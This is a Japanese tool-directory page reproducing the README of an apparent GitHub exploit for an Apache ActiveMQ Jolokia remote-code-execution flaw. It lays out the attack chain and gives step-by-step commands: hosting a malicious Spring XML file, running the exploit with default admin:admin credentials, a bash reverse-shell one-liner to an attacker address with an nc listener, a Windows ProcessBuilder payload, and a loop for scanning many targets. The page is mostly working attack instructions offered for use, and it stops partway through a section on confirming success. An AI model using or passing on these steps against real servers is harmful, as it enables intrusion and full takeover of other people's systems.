Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/hnytgl/cve-2026-42588
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングリモートアクセスツール
GitHubhnytgl/cve-2026-42588

CVE-2026-42588

Apache ActiveMQ Jolokia を標的とする CVE-2026-42588 の Python ベースの RCE エクスプロイト。チェックのみモード、悪意のある XML 生成、リバースシェル、OOB、ファイルベースの検証のサポートを備えています。

リポジトリを見る
373ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-42588 - Apache ActiveMQ Jolokia リモートコード実行脆弱性エクスプロイト

深刻度: 🔴 高 (CVSS 4.0: 8.1)
脆弱性タイプ: CWE-94 — コードインジェクション
影響を受けるバージョン: Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ version < 6.2.6
必要条件: Web コンソールの認証情報が必要(デフォルト admin:admin)


📋 目次

  • 脆弱性概要
  • 脆弱性の原理
  • 影響を受けるバージョン
  • 利用条件
  • ファイルの説明
  • クイックスタート
  • 詳細な使用方法
  • 攻撃チェーン全体図
  • エクスプロイト成功の確認
  • 修正方法
  • 一時的な緩和策
  • FAQ
  • 免責事項
  • 参考リンク

脆弱性概要

CVE-2026-42588 は Apache ActiveMQ における認証後のリモートコード実行(RCE)脆弱性です。

攻撃者は Web コンソールの認証情報を持っている場合、Jolokia JMX-HTTP ブリッジインターフェース (/api/jolokia/) を介して BrokerService.addNetworkConnector(String) メソッドを呼び出し、細工された masterslave:// ディスカバリ URI を渡します。xbean: プロトコルを利用してリモートの Spring XML 設定ファイル をロードし、最終的に ActiveMQ Broker の JVM 上で任意のシステムコマンドを実行します。


脆弱性の原理

攻撃チェーン

/api/jolokia/ (Jolokia JMX-HTTP Bridge)
       │
       ▼
BrokerService.addNetworkConnector(String)
       │
       ▼
masterslave://?brokerConfig=xbean:http://attacker/malicious.xml
       │
       ▼
XBeanBrokerFactory → ResourceXmlApplicationContext
       │
       ▼
Spring がすべてのシングルトン Bean をプリインスタンス化 → Runtime.exec() / ProcessBuilder をトリガー
       │
       ▼
🚨 リモートコード実行 (RCE)

技術的ポイント

段階説明
Jolokia の露出ActiveMQ Web Console はデフォルトで /api/jolokia/ を公開し、org.apache.activemq:* MBean に対する exec 操作を許可する
危険なメソッドBrokerService.addNetworkConnector(String) はディスカバリ URI を受け取り、解析する
URI トリガーチェーンmasterslave:// プロトコルの brokerConfig パラメータが制御可能で、xbean: スキームと組み合わせると Spring コンテキストのロードがトリガーされる
RCE トリガー点XBeanBrokerFactory は ResourceXmlApplicationContext を使用してリモート XML をロードし、Spring は設定検証前にすべてのシングルトン Bean をインスタンス化する

影響を受けるバージョン

バージョン範囲ステータス
Apache ActiveMQ < 5.19.7❌ 影響あり
6.0.0 ≤ Apache ActiveMQ < 6.2.6❌ 影響あり
Apache ActiveMQ ≥ 5.19.7✅ 修正済み
Apache ActiveMQ ≥ 6.2.6✅ 修正済み

利用条件

  1. ✅ ネットワーク到達可能性 — /api/jolokia/ インターフェースに攻撃者がアクセス可能(デフォルトポート 8161)
  2. ✅ 有効な認証情報 — ActiveMQ Web Console の認証情報を保有(デフォルト admin:admin)
  3. ✅ 攻撃者の HTTP サービス — ターゲットからアクセス可能な HTTP サーバで悪意のある XML ファイルをホストする必要あり

ファイルの説明

.
├── CVE-2026-42588_EXP.py   # エクスプロイトスクリプト(中核)
├── malicious.xml            # 悪意のある Spring XML テンプレート
├── requirements.txt         # Python 依存関係
└── README.md                # 本ファイル
ファイル用途
CVE-2026-42588_EXP.pyPython エクスプロイトスクリプト。検出モード (--check-only) と XML 生成モード (--gen-xml) をサポート
malicious.xml悪意のある Spring XML 設定テンプレート。Runtime.exec() と ProcessBuilder の2種類の利用方法を含む

クイックスタート

1. 依存関係のインストール

pip install -r requirements.txt

2. 悪意のある XML ファイルの生成

python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml

3. 悪意のある XML ファイルのホスティング

攻撃マシンで HTTP サービスを起動:

python3 -m http.server 8080

4. エクスプロイトの実行

# デフォルト認証情報 admin/admin を使用
python CVE-2026-42588_EXP.py \
    -u http://192.168.1.100:8161 \
    -x http://your-attacker-ip:8080/malicious.xml

# カスタム認証情報を使用
python CVE-2026-42588_EXP.py \
    -u http://target:8161 \
    -U myuser \
    -P mypass \
    -x http://your-attacker-ip:8080/malicious.xml

5. (オプション)脆弱性の検出のみ

python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only

詳細な使用方法

コマンドライン引数

usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
                             [-x XML_URL] [--check-only] [--gen-xml]
                             [-c COMMAND] [--timeout TIMEOUT] [--no-verify]

オプション:
  -u, --url         ターゲット ActiveMQ URL (例: http://192.168.1.100:8161)
  -U, --username    Web Console ユーザ名 (デフォルト: admin)
  -P, --password    Web Console パスワード (デフォルト: admin)
  -x, --xml-url     悪意のある Spring XML ファイルのリモート URL
  --check-only      Jolokia インターフェースのアクセス可能性のみをチェック
  --gen-xml         悪意のある XML ファイルを生成し、stdout に出力
  -c, --command     ターゲット上で実行するコマンド (デフォルト: touch /tmp/activemq_pwned)
  --timeout         HTTP リクエストのタイムアウト秒数 (デフォルト: 30)
  --no-verify       SSL 証明書の検証を無効化

シナリオ1: リバースシェル

1. 攻撃マシンで悪意のある XML を生成:

python CVE-2026-42588_EXP.py --gen-xml \
    -c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
    > reverse_shell.xml

2. XML をホストし、リスナーを起動:

# 端末1: HTTP サービス
python3 -m http.server 8080

# 端末2: nc で待ち受け
nc -lvnp 4444

3. 脆弱性をトリガー:

python CVE-2026-42588_EXP.py \
    -u http://target:8161 \
    -x http://10.0.0.1:8080/reverse_shell.xml

シナリオ2: CMD コマンド実行(Windows ターゲット)

1. Windows 版悪意のある XML を生成:

malicious.xml 内の ProcessBuilder コマンドを次のように変更:

<bean class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>cmd.exe</value>
            <value>/c</value>
            <value>whoami &gt; C:\windows\temp\pwned.txt</value>
        </list>
    </constructor-arg>
</bean>

2. ホストして実行:

python CVE-2026-42588_EXP.py \
    -u http://windows-target:8161 \
    -x http://attacker:8080/malicious_win.xml

シナリオ3: 脆弱性検出のみ

# バッチ検出
for ip in $(cat targets.txt); do
    echo "=== Testing $ip ==="
    python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done

攻撃チェーン全体図

┌─────────────────────────────────────────────────────────────────────┐
│                        CVE-2026-42588 攻撃チェーン                       │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ① 攻撃者                             ⑤ ActiveMQ Broker (JVM)        │
│  ┌──────────┐                         ┌──────────────────────────┐   │
│  │ EXP脚本  │──── ② HTTP POST ───────▶│ /api/jolokia/            │   │
│  │          │    Jolokia exec()        │                          │   │
│  │          │    Basic Auth            │ BrokerService.           │   │
│  │          │                          │ addNetworkConnector(     │   │
│  │          │                          │   "masterslave://?       │   │
│  │          │                          │    brokerConfig=         │   │
│  │          │                          │    xbean:http://...      │   │
│  │          │                          │    /malicious.xml"       │   │
│  └──────────┘                          │ )                        │   │
│       │                                └────────┬─────────────────┘   │
│       │                                         │                     │
│       │          ③ HTTP GET                     ▼                     │
│       │  ┌──────────────────────┐  ┌────────────────────────────┐    │
│       └─▶│ 攻撃者 HTTP サーバ    │  │ ResourceXmlApplication     │    │
│          │ (python http.server) │  │ Context がリモート XML を    │    │
│          │                      │  │ ロード                      │    │
│          │ malicious.xml        │  │                            │    │
│          └──────────────────────┘  │ Spring が Bean をプリ       │    │
│                                    │ インスタンス化 ──▶         │    │
│                                    │ Runtime.exec() /            │    │
│                                    │ ProcessBuilder.start()      │    │
│                                    │          │                  │    │
│                                    │          ▼                  │    │
│                                    │    🚨 RCE 成功 🚨           │    │
│                                    └────────────────────────────┘    │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

エクスプロイト成功の確認

コマンド実行は Spring XML 解析段階で発生するため非同期であり、HTTP 応答に直接実行結果が反映されない場合があります。以下の方法で確認することを推奨します:

方法 1: リバースシェル(最も信頼性が高い)

ツールをダウンロード